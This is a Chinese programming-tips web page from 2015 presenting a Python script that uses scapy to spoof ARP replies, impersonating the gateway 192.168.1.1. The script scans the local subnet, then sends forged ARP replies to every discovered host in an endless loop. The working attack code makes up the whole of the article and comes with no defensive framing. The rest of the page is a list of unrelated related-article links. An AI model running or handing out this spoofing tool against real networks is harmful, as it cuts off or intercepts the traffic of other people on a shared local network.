python使用arp欺骗伪造网关的方法


Posted in Python onApril 24, 2015

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
对Tensorflow中的变量初始化函数详解
Jul 27 Python
python try except 捕获所有异常的实例
Oct 18 Python
解决使用PyCharm时无法启动控制台的问题
Jan 19 Python
使用Python向C语言的链接库传递数组、结构体、指针类型的数据
Jan 29 Python
Python Django的安装配置教程图文详解
Jul 17 Python
Python中拆分字符串的操作方法
Jul 23 Python
对django中foreignkey的简单使用详解
Jul 28 Python
使用OpenCV实现仿射变换—平移功能
Aug 29 Python
Windows下pycharm创建Django 项目(虚拟环境)过程解析
Sep 16 Python
pytorch 准备、训练和测试自己的图片数据的方法
Jan 10 Python
Python实现点云投影到平面显示
Jan 18 Python
python 下载文件的几种方式分享
Apr 07 Python
python使用wxPython打开并播放wav文件的方法
Apr 24 #Python
python使用PyGame播放Midi和Mp3文件的方法
Apr 24 #Python
python使用PyGame绘制图像并保存为图片文件的方法
Apr 24 #Python
python使用PIL缩放网络图片并保存的方法
Apr 24 #Python
python使用Tkinter显示网络图片的方法
Apr 24 #Python
Python中最常用的操作列表的几种方法归纳
Apr 24 #Python
在Python中使用lambda高效操作列表的教程
Apr 24 #Python
You might like
PHP与SQL注入攻击[一]
2007/04/17 PHP
无法载入 mcrypt 扩展,请检查 PHP 配置终极解决方案
2011/07/18 PHP
Jquery实战_读书笔记2 选择器
2010/01/22 Javascript
HTML Color Picker(js拾色器效果)
2013/08/27 Javascript
分享一则JavaScript滚动条插件源码
2015/03/03 Javascript
JS读取XML文件数据并以table形式显示数据的方法(兼容IE与火狐)
2016/06/02 Javascript
.net MVC+Bootstrap下使用localResizeIMG上传图片
2017/04/21 Javascript
vue.js  父向子组件传参的实例代码
2017/10/29 Javascript
js正则相关知识点专题
2018/05/10 Javascript
微信小程序地图导航功能实现完整源代码附效果图(推荐)
2019/04/28 Javascript
解决vue bus.$emit触发第一次$on监听不到问题
2020/07/28 Javascript
three.js 将图片马赛克化的示例代码
2020/07/31 Javascript
python判断给定的字符串是否是有效日期的方法
2015/05/13 Python
详解Python中用于计算指数的exp()方法
2015/05/14 Python
简单讲解Python中的字符串与字符串的输入输出
2016/03/13 Python
Python MD5加密实例详解
2017/08/02 Python
Flask数据库迁移简单介绍
2017/10/24 Python
如何在python中使用selenium的示例
2017/12/26 Python
Python使用numpy实现BP神经网络
2018/03/10 Python
Go/Python/Erlang编程语言对比分析及示例代码
2018/04/23 Python
python简易远程控制单线程版
2018/06/20 Python
Python编程flask使用页面模版的方法
2018/12/28 Python
为什么说Python可以实现所有的算法
2019/10/04 Python
python-numpy-指数分布实例详解
2019/12/07 Python
python re模块常见用法例举
2021/03/01 Python
百丽国际旗下购物网站:优购
2017/02/28 全球购物
Joie官方网上商店:购买服装和女装配饰
2018/06/05 全球购物
新锐科技Java程序员面试题
2016/07/25 面试题
工业自动化专业毕业生推荐信
2013/11/18 职场文书
保护环境倡议书500字
2014/05/19 职场文书
打架赔偿协议书范本
2014/10/26 职场文书
七个非常实用的Python工具包总结
2021/06/15 Python
Python pygame实现中国象棋单机版源码
2021/06/20 Python
上个世纪50年代的可穿戴技术:无线电帽子
2022/02/18 无线电
vue组件冲突之引用另一个组件出现组件不显示的问题
2022/04/13 Vue.js
解决Mysql中的innoDB幻读问题
2022/04/29 MySQL